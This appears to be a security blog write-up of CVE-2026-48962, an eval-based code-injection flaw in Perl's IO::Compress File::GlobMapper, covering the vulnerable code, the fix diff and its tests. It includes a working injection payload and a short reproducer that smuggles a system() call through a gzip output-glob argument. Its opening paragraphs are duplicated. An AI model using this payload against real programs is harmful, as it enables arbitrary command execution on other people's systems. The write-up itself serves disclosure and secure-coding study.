//nefariousplan

CVE-2026-48962: IO::Compress's Filename Template Was eval STRING

vendor

pattern

cve

proof of concept

File::GlobMapper::_getFiles runs eval "\$outFile = $self->{OutputPattern};". $self->{OutputPattern} is the caller's output-glob string, wrapped in literal double quotes by _parseOutputGlob. A literal " anywhere in the output glob closes the wrapper. Whatever follows is parsed by Perl. The eval was committed on August 22, 2005, in the initial CPAN import of IO::Compress 2.000_00. It was removed on May 16, 2026, in the patch the CPAN Security Group later filed as CVE-2026-48962.

The template language has two metacharacters. The template engine was the Perl interpreter.

File::GlobMapper::_getFiles runs eval "\$outFile = $self->{OutputPattern};". $self->{OutputPattern} is the caller's output-glob string, wrapped in literal double quotes by _parseOutputGlob. A literal " anywhere in the output glob closes the wrapper. Whatever follows is parsed by Perl. The eval was committed on August 22, 2005, in the initial CPAN import of IO::Compress 2.000_00. It was removed on May 16, 2026, in the patch the CPAN Security Group later filed as CVE-2026-48962.

The template language has two metacharacters. The template engine was the Perl interpreter.

The output glob is a filename template with two metacharacters

File::GlobMapper is the dual-life module that turns calls like

use IO::Compress::Gzip qw(gzip);
gzip '</my/home/*.txt>' => '</my/home/#1.txt.gz>';

into a list of (input, output) filename pairs that gzip walks. The first argument matches existing files. The second is a filename template. The template grammar is two characters. #N is replaced with the Nth captured group from the input glob, and * is replaced with the whole matched filename. There is no other syntax. The IO::Compress::FAQ POD says exactly this and shows exactly this example.

A two-character grammar can be implemented two ways. Substitute the placeholders with the captured strings, or build a Perl expression that yields the substituted result and run it. File::GlobMapper chose the second.

_parseOutputGlob is the build step. Given the user's output glob "$dir/#1.txt.gz", it produces the Perl source "$dir/${1}.txt.gz" and stores it on the object:

sub _parseOutputGlob
{
    my $self = shift ;
    my $string = $self->{OutputGlob} ;
    ...
    my $noPreBS = '(?<!\\\)' ;

    $string =~ s/${noPreBS}#(\d)/\${$1}/g;     # turn #1 into ${1}
    $string =~ s#${noPreBS}\*#\${inFile}#g;    # turn *  into ${inFile}
    $string = '"' . $string . '"';             # wrap in literal "..."

    $self->{OutputPattern} = $string ;
    return 1 ;
}

_getFiles is the run step. It walks the matched input files, binds $1, $2, ... and $inFile, and runs the stored expression:

sub _getFiles
{
    ...
    if ( $inFile =~ m/$self->{InputPattern}/ )
    {
        no warnings 'uninitialized';
        eval "\$outFile = $self->{OutputPattern};" ;
        ...
    }
}

For benign inputs the substitution produces benign Perl. The two s///g calls do no escaping. They presuppose that the user's bytes between the wrapping double quotes are inert to the Perl tokenizer. A caller who puts a literal " in the output glob closes the wrapper after the user's string has been interpolated, and whatever follows is parsed by Perl as part of the same eval body.

The template engine was eval STRING

The exploit is the most direct possible reading of the code. The output glob is

out"; system("id"); "

_parseOutputGlob finds no #N and no *, so it does no substitution. It wraps the string in double quotes and stores "\"out\"; system(\"id\"); \"\"". _getFiles then runs

eval "\$outFile = \"out\"; system(\"id\"); \"\";"

Perl parses this as three statements. An assignment of "out" to $outFile, a system("id") call, and a no-op string. The id command runs at the privilege of the calling process.

A minimal reproducer using the public API:

use IO::Compress::Gzip qw(gzip);
mkdir 'src';
open my $f, '>', 'src/a.txt' or die $!;
print $f "x\n";
close $f;

gzip '<src/*.txt>' => '<out"; system("id"); "/#1.gz>';

Both arguments are angle-bracket fileglobs. That is the documented invocation. IO::Compress::Base::Common::ckInOutParams detects the angle brackets via

sub isaFileGlobString
{
    return defined $_[0] && $_[0] =~ /^<.*>$/;
}

sets inType and outType to 'fileglob', and instantiates File::GlobMapper->new($_[0], $_[1]). The output string reaches _parseOutputGlob and then the eval. id runs.

The attack surface is wherever an IO::Compress program accepts an attacker-influenced string into the output-glob slot. Every IO::Compress::* and IO::Uncompress::* entry point (gzip, gunzip, zip, unzip, bzip2, bunzip2, inflate, deflate, anyinflate, anyuncompress, rawdeflate, rawinflate) inherits the surface, because ckInOutParams is the single dispatcher Common.pm provides them all. The IO::Compress::Gzip POD documents the fileglob form as the convenience for batch-compressing files: gzip '</my/home/*.txt>' => '<*.gz>'. The dispatcher does not inspect the caller's argument for double quotes before it reaches the eval. The dispatcher has no reason to. The dispatcher is documenting a filename template.

IO::Compress is a dual-life Perl module. It ships in core Perl. Every install of Perl has carried this eval in its core distribution since the IO::Compress modules were promoted in 2007. The dual-life packaging means Red Hat, Debian, Strawberry Perl, and the macOS system Perl all carried the same eval, on the same code path, reached through the same two-argument call convention. File::GlobMapper's own module version is 1.001. The line number of the eval did not change between the 2005 import and the 2026 fix.

The grammar fit in three regexes the whole time

The May 16, 2026 patch is 52 added lines in GlobMapper.pm. It introduces five byte constants:

our $BEGIN_DELIM = "\xFF";
our $END_DELIM   = "\xFE";
our $BACKSLASH_ESC = "\xFD";
our $HASH_ESC = "\xFC";
our $STAR_ESC = "\xFB";

_parseOutputGlob no longer wraps the output in double quotes and no longer constructs Perl source. It rewrites #1 to \xFF1\xFE and * to \xFF\xFE (with \# and \* escaped to \xFC and \xFB first) and stores the result:

-    $string =~ s/${noPreBS}#(\d)/\${$1}/g;
-    $string =~ s#${noPreBS}\*#\${inFile}#g;
-    $string = '"' . $string . '"';
+    $string =~ s/\\#/${HASH_ESC}/g;
+    $string =~ s/\\\*/${STAR_ESC}/g;
+    $string =~ s/${noPreESC}#(\d)/${BEGIN_DELIM}${1}${END_DELIM}/g;
+    $string =~ s#\*#${BEGIN_DELIM}${END_DELIM}#g;
     $self->{OutputPattern} = $string ;

_getFiles reads the placeholders back and substitutes the captures and the matched filename. The eval is gone:

-            no warnings 'uninitialized';
-            eval "\$outFile = $self->{OutputPattern};" ;
+            $outFile = $self->{OutputPattern};
+            my $ix = 1;
+            $outFile =~ s/${noPreESC}${BEGIN_DELIM}${END_DELIM}/$inFile/g;
+            for my $pattern (@matches)
+            {
+                $outFile =~ s/${noPreESC}${BEGIN_DELIM}${ix}${END_DELIM}/$pattern/g;
+                ++ $ix;
+            }
+            $outFile =~ s/${BEGIN_DELIM}${BEGIN_DELIM}/${BEGIN_DELIM}/g;
+            $outFile =~ s/${END_DELIM}${END_DELIM}/${END_DELIM}/g;
+            $outFile =~ s/${HASH_ESC}/#/g;
+            $outFile =~ s/${STAR_ESC}/*/g;

The replacement is a sequence of s///g calls. It runs no user-supplied bytes through any interpreter. It distinguishes content from command by reserving two byte values (\xFF, \xFE) as placeholder delimiters and rewriting any user-supplied occurrence of those bytes to a doubled form on the way in and back on the way out. The substitution is bounded, finite, and deterministic.

This is the structural reason. eval STRING was always the wrong primitive for this job. The template language is #N and *. The template engine needed three things. Find #N, find *, substitute. Perl's s///g does each of those in one line. The original implementation reached for eval because eval is the tool Perl developers think of first when they want string interpolation, and the developer was using interpolation (${1}, ${inFile}) as the substitution mechanism. Picking the dynamic interpreter for a two-token grammar made every other byte in the template a potential Perl statement. The 2026 patch finally implements the grammar as a grammar.

This is the close cousin of Flowise's convertToValidJSONString, where Function('return ' + inputString)() ran the entire JavaScript runtime to relax a JSON spec, and the fix replaced it with JSON5.parse. Same shape, different language. It is the same shape as protobufjs's type-name codegen, where the codegen library's only unescaped slot turned a descriptor name into a Function(source)() body, and the fix was a regex that stripped non-identifier characters. The shape is content-is-command narrowed to the specific subset where the developer reaches for the host language's eval (or Function, or class_eval, or exec) to implement a finite-grammar template. The eval is the engine. The engine accepts the full host language. The template never asked for that.

The patch added eight tests. None of them assert the eval cannot run.

t/globmapper.t grew from 68 tests to 76 in the same commit. The two new test blocks are titled "check escaping" and "check backslash escaping". They verify that the \xFF and \xFE delimiter bytes pass through the round trip without corruption, and that backslash-escaped # and * appear in the output as literal # and *. They are functional tests for the new substitution mechanism.

Neither test asserts that an output glob containing a literal " produces a literal " in the output. Neither test asserts that an output glob containing system("id") does not execute system("id"). Neither test asserts anything about Perl source not being evaluated.

The commit message is "remove use of eval in globmapper. #73". A future contributor reading the diff sees a refactor and two tests about a placeholder mechanism. The reason the commit removes the eval is not in the diff. CVE-2026-48962 is the only artifact that names what eval STRING was doing in _getFiles for twenty years and nine months.

PoC: Stig Palmquist, oss-security 2026/q2/709.

The eval ran for twenty years. The grammar it interpreted fits in three calls to s///g.